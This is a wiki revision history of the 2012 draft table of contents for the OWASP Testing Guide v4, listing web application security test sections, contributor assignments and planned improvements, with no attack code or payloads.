[[Test enforcement of application entry points (OTG-AUTHZ-008)|4.6.8 Test enforcement of application entry points (OTG-AUTHZ-008)]] (including exposure of objects)

[[Testing for failure to restrict access to authenticated resource(OWASP-AT-010)|4.6.9 Testing for failure to restrict access to authenticated resource (OTG-AUTHZ-009)]] formerly "Testing for failure to restrict access to authenticated resource (OWASP-AT-010)"

[[Testing for Session Management|'''4.7 Session Management Testing''']]

[[Testing for Session_Management_Schema (OWASP-SM-001)|4.7.1 Testing for Bypassing Session Management Schema (OTG-SESS-001)]] formerly "Testing for Bypassing Session Management Schema (OWASP-SM-001)"

[[Testing for cookies attributes (OWASP-SM-002)|4.7.2 Testing for Cookies attributes (OTG-SESS-002)]] formerly "Testing for Cookies attributes (OWASP-SM-002)" (Cookies are set not ‘HTTP Only’, ‘Secure’, and no time validity)

[[Testing for Session Fixation (OWASP-SM-003)|4.7.3 Testing for Session Fixation (OTG-SESS-003)]] formerly "Testing for Session Fixation (OWASP-SM-003)"

[[Testing for Exposed Session Variables (OWASP-SM-004)|4.7.4 Testing for Exposed Session Variables (OTG-SESS-004)]] formerly "Testing for Exposed Session Variables (OWASP-SM-004)"

[[Testing for CSRF (OWASP-SM-005)|4.7.5 Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)]] formerly "Testing for Cross Site Request Forgery (CSRF) (OWASP-SM-005)"

[[Test Session Token Strength (OTG-SESS-006)|4.7.6 Test Session Token Strength (OTG-SESS-006)]]

[[Testing for logout functionality (OWASP-SM-007)|4.7.7 Testing for logout functionality (OTG-SESS-007)]] formerly "Testing for logout functionality (OWASP-SM-007)"

[[Testing for Session puzzling (OWASP-SM-008)|4.7.8 Testing for Session puzzling (OWASP-SM-008)]]

[[Test Session Timeout (OTG-SESS-008)|4.7.8 Test Session Timeout (OTG-SESS-008)]]

[[Test multiple concurrent sessions (OTG-SESS-009)|4.7.9 Test multiple concurrent sessions (OTG-SESS-009)]]

[[Testing for Data Validation|'''4.8 Data Validation Testing''']]

[[Testing for Reflected Cross site scripting (OWASP-DV-001) |4.8.1 Testing for Reflected Cross Site Scripting (OTG-INPVAL-001)]] formerly "Testing for Reflected Cross Site Scripting (OWASP-DV-001)"

[[Testing for Stored Cross site scripting (OWASP-DV-002) |4.8.2 Testing for Stored Cross Site Scripting (OTG-INPVAL-002)]] formerly "Testing for Stored Cross Site Scripting (OWASP-DV-002)"

[[Testing for HTTP Verb Tampering (OWASP-DV-003)|4.8.3 Testing for HTTP Verb Tampering (OTG-INPVAL-003)]] formerly "Testing for HTTP Verb Tampering (OWASP-DV-003)"

[[Testing for HTTP Parameter pollution (OWASP-DV-004)|4.8.4 Testing for HTTP Parameter pollution (OTG-INPVAL-004) ]] formerly "Testing for HTTP Parameter pollution (OWASP-DV-004)"

[[Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)|4.8.5 Testing for Unvalidated Redirects and Forwards (OTG-INPVAL-005) ]] formerly "Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)"

[[Testing for SQL Injection (OWASP-DV-005)| 4.8.6 Testing for SQL Injection (OTG-INPVAL-006)]] formerly "Testing for SQL Injection (OWASP-DV-005)" '''Ready to be reviewed'''

[[Testing for Oracle|4.8.6.1 Oracle Testing]]

[[Testing for MySQL|4.8.6.2 MySQL Testing [Ismael Gonçalves]]]

[[Testing for SQL Server|4.8.6.3 SQL Server Testing]]

[[OWASP_Backend_Security_Project_Testing_PostgreSQL|4.8.6.4 Testing PostgreSQL (from OWASP BSP) ]]

[[Testing for MS Access |4.8.6.5 MS Access Testing]]

[[Testing for NoSQL injection|4.8.6.6 Testing for NoSQL injection [New!]]]

[[Testing for LDAP Injection (OWASP-DV-006)|4.8.7 Testing for LDAP Injection (OTG-INPVAL-007)]] formerly "Testing for LDAP Injection (OWASP-DV-006)"

[[Testing for ORM Injection (OWASP-DV-007)|4.8.8 Testing for ORM Injection (OTG-INPVAL-008)]] formerly "Testing for ORM Injection (OWASP-DV-007)"

[[Testing for XML Injection (OWASP-DV-008)|4.8.9 Testing for XML Injection (OTG-INPVAL-009)]] formerly "Testing for XML Injection (OWASP-DV-008)"

[[Testing for SSI Injection (OWASP-DV-009)|4.8.10 Testing for SSI Injection (OTG-INPVAL-010)]] formerly "Testing for SSI Injection (OWASP-DV-009)"

[[Testing for XPath Injection (OWASP-DV-010)|4.8.11 Testing for XPath Injection (OTG-INPVAL-011)]] formerly "Testing for XPath Injection (OWASP-DV-010)"

[[Testing for IMAP/SMTP Injection (OWASP-DV-011)|4.8.12 IMAP/SMTP Injection (OTG-INPVAL-012)]] formerly "IMAP/SMTP Injection (OWASP-DV-011)"

[[Testing for Code Injection (OWASP-DV-012)|4.8.13 Testing for Code Injection (OTG-INPVAL-013)]] formerly "Testing for Code Injection (OWASP-DV-012)"

[[Testing for Local File Inclusion|4.8.13.1 Testing for Local File Inclusion]]

[[Testing for Remote File Inclusion|4.8.13.2 Testing for Remote File Inclusion]]

[[Testing for Command Injection (OWASP-DV-013)|4.8.14 Testing for Command Injection (OTG-INPVAL-014)]] formerly "Testing for Command Injection (OWASP-DV-013)"

[[Testing for Buffer Overflow (OWASP-DV-014)|4.8.15 Testing for Buffer overflow (OTG-INPVAL-015)]] formerly "Testing for Buffer overflow (OWASP-DV-014)"

[[Testing for Heap Overflow|4.8.15.1 Testing for Heap overflow]]

[[Testing for Stack Overflow|4.8.15.2 Testing for Stack overflow]]

[[Testing for Format String|4.8.15.3 Testing for Format string]]

[[Testing for Incubated Vulnerability (OWASP-DV-015)|4.8.16 Testing for incubated vulnerabilities (OTG-INPVAL-016)]] formerly "Testing for incubated vulnerabilities (OWASP-DV-015)"

[[Testing for HTTP Splitting/Smuggling (OWASP-DV-016)|4.8.17 Testing for HTTP Splitting/Smuggling (OTG-INPVAL-017) ]] formerly "Testing for HTTP Splitting/Smuggling (OWASP-DV-016)"

[[Error Handling|'''4.9 Error Handling''']]

[[Testing for Error Code (OWASP-IG-006)|4.9.1 Analysis of Error Codes (OTG-ERR-001)]] formerly "Analysis of Error Codes (OWASP-IG-006)"

[[Testing for Stack Traces (OWASP-IG-XXX)|4.9.2 Analysis of Stack Traces (OTG-ERR-002)]] formerly "Analysis of Stack Traces"

[[Cryptography|'''4.10 Cryptography''']]

[[Testing for Insecure encryption usage (OWASP-EN-001)| 4.10.1 Testing for Insecure encryption usage (OTG-CRYPST-001)]] formerly "Testing for Insecure encryption usage (OWASP-EN-001)"

[[Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002)| 4.10.2 Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-002)]] formerly "Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002)"

[[Testing for Padding Oracle (OWASP-EN-003)| 4.10.3 Testing for Padding Oracle (OTG-CRYPST-003)]] formerly "Testing for Padding Oracle (OWASP-EN-003)"

[[Testing for Cacheable HTTPS Response (OTG-CRYPST-004)| 4.10.4 Testing for Cacheable HTTPS Response (OTG-CRYPST-004)]]

[[Test Cache Directives (OTG-CRYPST-005)|4.10.5 Test Cache Directives (OTG-CRYPST-005)]]

[[Testing for Insecure Cryptographic Storage (OTG-CRYPST-006)|4.10.6 Testing for Insecure Cryptographic Storage (OTG-CRYPST-006)]]

[[Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)|4.10.7 Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)]]

[[Test Cryptographic Key Management (OTG-CRYPST-008)|4.10.8 Test Cryptographic Key Management (OTG-CRYPST-008)]]

[[Logging|'''4.11 Logging''']] Not convinced Logging should be included as it requires access to logs to test

[[Test time synchronisation (OTG-LOG-001)|4.11.1 Test time synchronisation (OTG-LOG-001) ]] formerly "Incorrect time"

[[Test user-viewable log of authentication events (OTG-LOG-002)|4.11.2 Test user-viewable log of authentication events (OTG-LOG-002)]]

[[Testing for business logic (OWASP-BL-001)|'''4.12 Business Logic Testing (OWASP-BL-001)''']] [To review--> David Fern]
Business Logic 

[[Test business logic data validation (OTG-BUSLOGIC-001)|4.12.1 Test business logic data validation (OTG-BUSLOGIC-001)]] [New!] NOTE MAT: to discuss this section

[[Test Ability to forge requests (OTG-BUSLOGIC-002)|4.12.2 Test Ability to forge requests (OTG-BUSLOGIC-002)]] [New!]

[[Test integrity checks (OTG-BUSLOGIC-003)|4.12.3 Test integrity checks (OTG-BUSLOGIC-003)]] (e.g. overwriting updates) [New!]

[[Test tamper evidence (OTG-BUSLOGIC-004)|4.12.4 Test tamper evidence (OTG-BUSLOGIC-004)]] [New!]

[[Test excessive rate (speed) of use limits (OTG-BUSLOGIC-005)|4.12.5 Test excessive rate (speed) of use limits (OTG-BUSLOGIC-005)]] [New!]

[[Test size of request limits (OTG-BUSLOGIC-006)|4.12.6 Test size of request limits (OTG-BUSLOGIC-006)]] [New!]

[[Test number of times a function can be used limits (OTG-BUSLOGIC-007)|4.12.7 Test number of times a function can be used limits (OTG-BUSLOGIC-002)]] [New!]

[[Test bypass of correct sequence (OTG-BUSLOGIC-008)|4.12.8 Test bypass of correct sequence (OTG-BUSLOGIC-008)]] [New!]

[[Test self-hosted payment cardholder data processing (OTG-BUSLOGIC-009)|4.12.9 Test self-hosted payment cardholder data processing (OTG-BUSLOGIC-009)]] [New!]

[[Test security incident reporting information (OTG-BUSLOGIC-010)|4.12.10 Test security incident reporting information (OTG-BUSLOGIC-010)]] [New!]

[[Test defenses against application mis-use (OTG-BUSLOGIC-011)|4.12.11 Test defenses against application mis-use (OTG-BUSLOGIC-011)]] [New!]

[[Denial of Service|'''4.13 Denial of Service''']]

[[Test Regular expression DoS (OTG-DOS-001)| 4.13.1 Test Regular expression DoS (OTG-DOS-001)]] [New!] note: to understand better 

[[Test XML DoS (OTG-DOS-002)| 4.13.2 Test XML DoS (OTG-DOS-002)]] [New! - Andrew Muller]

[[Testing for Captcha (OWASP-AT-012)|4.13.3 Testing for CAPTCHA (OTG-DOS-003)]] formerly "Testing for CAPTCHA (OWASP-AT-012)"

[[Web Service (XML Interpreter)|'''4.14 Web Service Testing''']] [Tom Eston]

[[Scoping a Web Service Test (OWASP-WS-001)|4.14.1 Scoping a Web Service Test (OTG-WEBSVC-001)]] formerly "Scoping a Web Service Test (OWASP-WS-001)"

[[WS Information Gathering (OWASP-WS-002)|4.14.2 WS Information Gathering (OTG-WEBSVC-002)]] formerly "WS Information Gathering (OWASP-WS-002)"

[[WS Authentication Testing (OWASP-WS-003)|4.14.3 WS Authentication Testing (OTG-WEBSVC-003)]] formerly "WS Authentication Testing (OWASP-WS-003)"

[[WS Management Interface Testing (OWASP-WS-004)|4.14.4 WS Management Interface Testing (OTG-WEBSVC-004)]] formerly "WS Management Interface Testing (OWASP-WS-004)"

[[Weak XML Structure Testing (OWASP-WS-005)|4.14.5 Weak XML Structure Testing (OTG-WEBSVC-005)]] formerly "Weak XML Structure Testing (OWASP-WS-005)"

[[XML Content-Level Testing (OWASP-WS-006)|4.14.6 XML Content-Level Testing (OTG-WEBSVC-006)]] formerly "XML Content-Level Testing (OWASP-WS-006)"

[[WS HTTP GET Parameters/REST Testing (OWASP-WS-007)|4.14.7 WS HTTP GET Parameters/REST Testing (OTG-WEBSVC-007)]] formerly "WS HTTP GET Parameters/REST Testing (OWASP-WS-007)"

[[WS Naughty SOAP Attachment Testing (OWASP-WS-008)|4.14.8 WS Naughty SOAP Attachment Testing (OTG-WEBSVC-008)]] formerly "WS Naughty SOAP Attachment Testing (OWASP-WS-008)"

[[WS Replay/MiTM Testing (OWASP-WS-009)|4.14.9 WS Replay/MiTM Testing (OTG-WEBSVC-009)]] formerly "WS Replay/MiTM Testing (OWASP-WS-009)"

[[WS BEPL Testing (OWASP-WS-010)|4.14.10 WS BEPL Testing (OTG-WEBSVC-010)]] formerly "WS BEPL Testing (OWASP-WS-010)"

[[Client Side Testing|'''4.15 Client Side Testing''']] [New!]

[[Testing for DOM-based Cross site scripting (OWASP-DV-003)|4.15.1 Testing for DOM based Cross Site Scripting (OTG-CLIENT-001)]] formerly "Testing for DOM based Cross Site Scripting (OWASP-CS-001)" [Stefano Di Paola]

[[Testing Cross Origin Resource Sharing (OWASP CS-002)|4.15.2 Testing Cross Origin Resource Sharing (OTG-CLIENT-002)]] formerly "Testing for HTML5 (OWASP CS-002)" [Juan Galiana]

[[Testing for Cross site flashing (OWASP-DV-004)|4.15.3 Testing for Cross Site Flashing (OTG-CLIENT-003)]] formerly "Testing for Cross Site Flashing (OWASP-CS-003)"

[[Testing for Clickjacking (OWASP-CS-004)|4.15.4 Testing for Clickjacking (OTG-CLIENT-004)]] formerly "Testing for Clickjacking (OWASP-CS-004)" [Davide Danelon]

[[Testing WebSockets|4.15.5 WebSocket Testing (OTG-CLIENT-005)]] [Ryan Dewhurst]

[[Testing Web Messaging|4.15.6 [Testing Web Messaging (OTG-CLIENT-006)]] [Juan Galiana]

[[Testing Local Storage|4.15.7 Testing Local Storage (OTG-CLIENT-007)]] [Juan Galiana]

[[Testing Sandboxed Iframes|4.15.8 Testing Sandboxed Iframes (OTG-CLIENT-008)]] [Juan Galiana]

==[[Writing Reports: value the real risk |5. Writing Reports: value the real risk ]]==

[[How to value the real risk |5.1 How to value the real risk]] [To review--> Amro AlOlaqi]

[[How to write the report of the testing |5.2 How to write the report of the testing]] [To review--> Amro AlOlaqi]

==[[Appendix A: Testing Tools |Appendix A: Testing Tools ]]==

* Black Box Testing Tools [To review--> Amro AlOlaqi]

==[[OWASP Testing Guide Appendix B: Suggested Reading | Appendix B: Suggested Reading]]==
* Whitepapers [To review--> David Fern]
* Books [To review--> David Fern]
* Useful Websites [To review--> David Fern]

==[[OWASP Testing Guide Appendix C: Fuzz Vectors | Appendix C: Fuzz Vectors]]==

* Fuzz Categories [To review--> Amro AlOlaqi]

==[[OWASP Testing Guide Appendix D: Encoded Injection | Appendix D: Encoded Injection]]==

[To review--> Amro AlOlaqi]

----

[[Category:OWASP Testing Project]]

OWASP Testing Guide v4 Table of Contents

2012-09-13T08:45:24Z

Jgaliana:

__NOTOC__

'''This is DRAFT of the table of content of the New Testing Guide v4.''' 
 You can download the stable version [http://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf here] 

Back to the OWASP Testing Guide Project:
http://www.owasp.org/index.php/OWASP_Testing_Project

'''Updated: 31st August 2012'''

[[ OWTGv4 Contributors list|'''Contributors List]]

----

The following are the main improvements we have to realize: 

(1) - Add new testing techniques and OWASP Top10 update: 
- Testing for HTTP Verb tampering 
- Testing for HTTP Parameter Pollutions 
- Testing for URL Redirection 
- Testing for Insecure Direct Object References 
- Testing for Insecure Cryptographic Storage 
- Testing for Failure to Restrict URL Access 
- Testing for Insufficient Transport Layer Protection 
- Testing for Unvalidated Redirects and Forwards. 
 
(2) - Review and improve all the sections in v3, 
 
(3) - Create a more readable guide, eliminating some sections that are not
really useful, Rationalize some sections as Session Management Testing.

(4) Pavol says: - add new opensource testing tools that appeared during last 3 years
(and are missing in the OWASP Testing Guide v3)

- add few useful and life-scenarios of possible
vulnerabilities in Bussiness Logic Testing (many testers have no idea what
vulnerabilities in Business Logic exactly mean)

- "Brute force testing" of "session ID" is missing in "Session Management
Testing", describe other tools for Session ID entropy analysis
(e.g. Stompy)

- in "Data Validation Testing" describe some basic obfuscation methods for
malicious code injection including the statements how it is possible to
detect it (web application obfuscation is quite succesfull in bypassing
many data validation controls)

- split the phase Logout and Browser Cache Management" into two sections
 
The following is a DRAFT of the Toc based on the feedback already received.

== Table of Contents ==

==[[Testing Guide Foreword|Foreword by OWASP Chair]]==
[To review--> OWASP Chair]

==[[Testing Guide Frontispiece |1. Frontispiece]]==
[To review--> Mat]

'''[[Testing Guide Frontispiece|1.1 About the OWASP Testing Guide Project]]'''
[To review--> Mat]

'''[[About The Open Web Application Security Project|1.2 About The Open Web Application Security Project]]'''
[To review--> ]

==[[Testing Guide Introduction|2. Introduction]]==

'''2.1 The OWASP Testing Project'''

'''2.2 Principles of Testing'''

'''2.3 Testing Techniques Explained'''

2.4 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Requirements_Test_Derivation Security requirements test derivation],[https://www.owasp.org/index.php/Testing_Guide_Introduction#Functional_and_Non_Functional_Test_Requirements functional and non functional test requirements], and [https://www.owasp.org/index.php/Testing_Guide_Introduction#Test_Cases_Through_Use_and_Misuse_Cases test cases through use and misuse cases]

2.5 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Test_Data_Analysis_and_Reporting Security test data analysis and reporting: root cause identification and business/role case test data reporting]

==[[The OWASP Testing Framework|3. The OWASP Testing Framework]]==

'''3.1. Overview'''

'''3.2. Phase 1: Before Development Begins '''

'''3.3. Phase 2: During Definition and Design'''

'''3.4. Phase 3: During Development'''

'''3.5. Phase 4: During Deployment'''

'''3.6. Phase 5: Maintenance and Operations'''

'''3.7. A Typical SDLC Testing Workflow '''

==[[Web Application Penetration Testing |4. Web Application Penetration Testing ]]==

[[Testing: Introduction and objectives|'''4.1 Introduction and Objectives''']] [To review--> Mat]

[[Testing Checklist| 4.1.1 Testing Checklist]] [To review at the end of brainstorming --> Mat]

[[Testing: Information Gathering|'''4.2 Information Gathering ''']] [To review--> contributor here]

[[Testing for configuration management|'''4.3 Configuration and Deploy Management Testing ''']]

Infrastructure Configuration management weakness 
Application Configuration management weakness 
File extensions handling 
Old, backup and unreferenced files 
Access to Admin interfaces 
Bad HTTP Methods enabled, [new] 
Informative Error Messages 
Database credentials/connection strings available 

[[Testing for authentication|'''4.4 Authentication Testing ''']]

Credentials transport over an unencrypted channel [Robert Winkel] 
User enumeration (also Guessable user account) [Robert Winkel] 
Default passwords [Robert Winkel] 
Weak lock out mechanism [New! - Robert Winkel] 
Account lockout DoS [New! - Robert Winkel] 
Bypassing authentication schema 
Vulnerable remember password [Robert Winkel] 
Browser cache weakness [New!] 
Weak password policy [New! - Robert Winkel] 
Weak username policy [New! - Robert Winkel] 
Weak security question/answer [New! - Robert Winkel] 
Failure to restrict access to authenticated resource [New!] 
Weak password change function [New! - Robert Winkel] 
Testing for CAPTCHA 

[[Testing for Session Management|'''4.5 Session Management Testing''']]

Bypassing Session Management Schema 
Weak Session Token 
Cookies are set not ‘HTTP Only’, ‘Secure’, and no time validity 
Exposed sensitive session variables 
CSRF 
Session passed over http [New!] 
Session token within URL [New!] 
Session Fixation 
Session token not removed on server after logout [New!] 
Persistent session token [New!] 
Session token not restrcited properly (such as domain or path not set properly) [New!] 
Logout function not properly implemented 

[[Testing for Authorization|'''4.6 Authorization Testing''']]

Bypassing authorization schema 
Directory traversal/file include [Juan Galiana] 
Privilege Escalation 
Insecure Direct Object References 
Failure to Restrict access to authorized resource [New!] 

[[Testing for business logic (OWASP-BL-001)|'''4.7 Business Logic Testing (OWASP-BL-001)''']] [To review--> contributor here]
Business Logic 

[[Testing for Data Validation|'''4.8 Data Validation Testing''']]

Reflected XSS 
Stored XSS 
HTTP Verb Tampering [Brad Causey] 
HTTP Parameter pollution [Brad Causey] 
Unvalidated Redirects and Forwards [Brad Causey] 
SQL Injection [Brad Causey] 
LDAP Injection 
ORM Injection 
XML Injection 
SSI Injection 
XPath Injection 
SOAP Injection 
IMAP/SMTP Injection 
Code Injection 
OS Commanding [Juan Galiana] 
Buffer overflow 
Incubated vulnerability 
HTTP Splitting/Smuggling [Juan Galiana] 

[[Testing for Data Encryption (New!)]]

Application did not use encryption 
Weak SSL/TSL Ciphers, Insufficient 
Transport Layer Protection 
Cacheable HTTPS Response 
Cache directives insecure 
Insecure Cryptographic Storage [mainly CR Guide] 
Sensitive information sent via unencrypted
channels 

[[ XML Interpreter? (New!)]]

Weak XML Structure
XML content-level
WS HTTP GET parameters/REST
WS Naughty SOAP attachments
WS Replay Testing

[[ Client Side Testing (New!) ]]

DOM XSS 
HTML5 [Juan Galiana] 
Cross Site Flashing 
ClickHijacking 

==[[Writing Reports: value the real risk |5. Writing Reports: value the real risk ]]==

[[How to value the real risk |5.1 How to value the real risk]] [To review--> contributor here]

[[How to write the report of the testing |5.2 How to write the report of the testing]] [To review--> contributor here]

==[[Appendix A: Testing Tools |Appendix A: Testing Tools ]]==

* Black Box Testing Tools [To review--> Amro. We need only tools fo webapp testing]

==[[OWASP Testing Guide Appendix B: Suggested Reading | Appendix B: Suggested Reading]]==
* Whitepapers [To review--> contributor here]
* Books [To review--> contributor here]
* Useful Websites [To review--> contributor here]

==[[OWASP Testing Guide Appendix C: Fuzz Vectors | Appendix C: Fuzz Vectors]]==

* Fuzz Categories [To review--> contributor here]

==[[OWASP Testing Guide Appendix D: Encoded Injection | Appendix D: Encoded Injection]]==

[To review--> contributor here]

----

[[Category:OWASP Testing Project]]

OWASP Testing Guide v4 Table of Contents

2012-09-13T08:42:57Z

Jgaliana:

__NOTOC__

'''This is DRAFT of the table of content of the New Testing Guide v4.''' 
 You can download the stable version [http://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf here] 

Back to the OWASP Testing Guide Project:
http://www.owasp.org/index.php/OWASP_Testing_Project

'''Updated: 31st August 2012'''

[[ OWTGv4 Contributors list|'''Contributors List]]

----

The following are the main improvements we have to realize: 

(1) - Add new testing techniques and OWASP Top10 update: 
- Testing for HTTP Verb tampering 
- Testing for HTTP Parameter Pollutions 
- Testing for URL Redirection 
- Testing for Insecure Direct Object References 
- Testing for Insecure Cryptographic Storage 
- Testing for Failure to Restrict URL Access 
- Testing for Insufficient Transport Layer Protection 
- Testing for Unvalidated Redirects and Forwards. 
 
(2) - Review and improve all the sections in v3, 
 
(3) - Create a more readable guide, eliminating some sections that are not
really useful, Rationalize some sections as Session Management Testing.

(4) Pavol says: - add new opensource testing tools that appeared during last 3 years
(and are missing in the OWASP Testing Guide v3)

- add few useful and life-scenarios of possible
vulnerabilities in Bussiness Logic Testing (many testers have no idea what
vulnerabilities in Business Logic exactly mean)

- "Brute force testing" of "session ID" is missing in "Session Management
Testing", describe other tools for Session ID entropy analysis
(e.g. Stompy)

- in "Data Validation Testing" describe some basic obfuscation methods for
malicious code injection including the statements how it is possible to
detect it (web application obfuscation is quite succesfull in bypassing
many data validation controls)

- split the phase Logout and Browser Cache Management" into two sections
 
The following is a DRAFT of the Toc based on the feedback already received.

== Table of Contents ==

==[[Testing Guide Foreword|Foreword by OWASP Chair]]==
[To review--> OWASP Chair]

==[[Testing Guide Frontispiece |1. Frontispiece]]==
[To review--> Mat]

'''[[Testing Guide Frontispiece|1.1 About the OWASP Testing Guide Project]]'''
[To review--> Mat]

'''[[About The Open Web Application Security Project|1.2 About The Open Web Application Security Project]]'''
[To review--> ]

==[[Testing Guide Introduction|2. Introduction]]==

'''2.1 The OWASP Testing Project'''

'''2.2 Principles of Testing'''

'''2.3 Testing Techniques Explained'''

2.4 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Requirements_Test_Derivation Security requirements test derivation],[https://www.owasp.org/index.php/Testing_Guide_Introduction#Functional_and_Non_Functional_Test_Requirements functional and non functional test requirements], and [https://www.owasp.org/index.php/Testing_Guide_Introduction#Test_Cases_Through_Use_and_Misuse_Cases test cases through use and misuse cases]

2.5 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Test_Data_Analysis_and_Reporting Security test data analysis and reporting: root cause identification and business/role case test data reporting]

==[[The OWASP Testing Framework|3. The OWASP Testing Framework]]==

'''3.1. Overview'''

'''3.2. Phase 1: Before Development Begins '''

'''3.3. Phase 2: During Definition and Design'''

'''3.4. Phase 3: During Development'''

'''3.5. Phase 4: During Deployment'''

'''3.6. Phase 5: Maintenance and Operations'''

'''3.7. A Typical SDLC Testing Workflow '''

==[[Web Application Penetration Testing |4. Web Application Penetration Testing ]]==

[[Testing: Introduction and objectives|'''4.1 Introduction and Objectives''']] [To review--> Mat]

[[Testing Checklist| 4.1.1 Testing Checklist]] [To review at the end of brainstorming --> Mat]

[[Testing: Information Gathering|'''4.2 Information Gathering ''']] [To review--> contributor here]

[[Testing for configuration management|'''4.3 Configuration and Deploy Management Testing ''']]

Infrastructure Configuration management weakness 
Application Configuration management weakness 
File extensions handling 
Old, backup and unreferenced files 
Access to Admin interfaces 
Bad HTTP Methods enabled, [new] 
Informative Error Messages 
Database credentials/connection strings available 

[[Testing for authentication|'''4.4 Authentication Testing ''']]

Credentials transport over an unencrypted channel [Robert Winkel] 
User enumeration (also Guessable user account) [Robert Winkel] 
Default passwords [Robert Winkel] 
Weak lock out mechanism [New! - Robert Winkel] 
Account lockout DoS [New! - Robert Winkel] 
Bypassing authentication schema 
Vulnerable remember password [Robert Winkel] 
Browser cache weakness [New!] 
Weak password policy [New! - Robert Winkel] 
Weak username policy [New! - Robert Winkel] 
Weak security question/answer [New! - Robert Winkel] 
Failure to restrict access to authenticated resource [New!] 
Weak password change function [New! - Robert Winkel] 
Testing for CAPTCHA 

[[Testing for Session Management|'''4.5 Session Management Testing''']]

Bypassing Session Management Schema 
Weak Session Token 
Cookies are set not ‘HTTP Only’, ‘Secure’, and no time validity 
Exposed sensitive session variables 
CSRF 
Session passed over http [New!] 
Session token within URL [New!] 
Session Fixation 
Session token not removed on server after logout [New!] 
Persistent session token [New!] 
Session token not restrcited properly (such as domain or path not set properly) [New!] 
Logout function not properly implemented 

[[Testing for Authorization|'''4.6 Authorization Testing''']]

Bypassing authorization schema 
Directory traversal/file include 
Privilege Escalation [Juan Galiana] 
Insecure Direct Object References 
Failure to Restrict access to authorized resource [New!] 

[[Testing for business logic (OWASP-BL-001)|'''4.7 Business Logic Testing (OWASP-BL-001)''']] [To review--> contributor here]
Business Logic 

[[Testing for Data Validation|'''4.8 Data Validation Testing''']]

Reflected XSS 
Stored XSS 
HTTP Verb Tampering [Brad Causey] 
HTTP Parameter pollution [Brad Causey] 
Unvalidated Redirects and Forwards [Brad Causey] 
SQL Injection [Brad Causey] 
LDAP Injection 
ORM Injection 
XML Injection 
SSI Injection 
XPath Injection 
SOAP Injection 
IMAP/SMTP Injection 
Code Injection 
OS Commanding 
Buffer overflow 
Incubated vulnerability 
HTTP Splitting/Smuggling 

[[Testing for Data Encryption (New!)]]

Application did not use encryption 
Weak SSL/TSL Ciphers, Insufficient 
Transport Layer Protection 
Cacheable HTTPS Response 
Cache directives insecure 
Insecure Cryptographic Storage [mainly CR Guide] 
Sensitive information sent via unencrypted
channels 

[[ XML Interpreter? (New!)]]

Weak XML Structure
XML content-level
WS HTTP GET parameters/REST
WS Naughty SOAP attachments
WS Replay Testing

[[ Client Side Testing (New!) ]]

DOM XSS 
HTML5 [Juan Galiana] 
Cross Site Flashing 
ClickHijacking 

==[[Writing Reports: value the real risk |5. Writing Reports: value the real risk ]]==

[[How to value the real risk |5.1 How to value the real risk]] [To review--> contributor here]

[[How to write the report of the testing |5.2 How to write the report of the testing]] [To review--> contributor here]

==[[Appendix A: Testing Tools |Appendix A: Testing Tools ]]==

* Black Box Testing Tools [To review--> Amro. We need only tools fo webapp testing]

==[[OWASP Testing Guide Appendix B: Suggested Reading | Appendix B: Suggested Reading]]==
* Whitepapers [To review--> contributor here]
* Books [To review--> contributor here]
* Useful Websites [To review--> contributor here]

==[[OWASP Testing Guide Appendix C: Fuzz Vectors | Appendix C: Fuzz Vectors]]==

* Fuzz Categories [To review--> contributor here]

==[[OWASP Testing Guide Appendix D: Encoded Injection | Appendix D: Encoded Injection]]==

[To review--> contributor here]

----

[[Category:OWASP Testing Project]]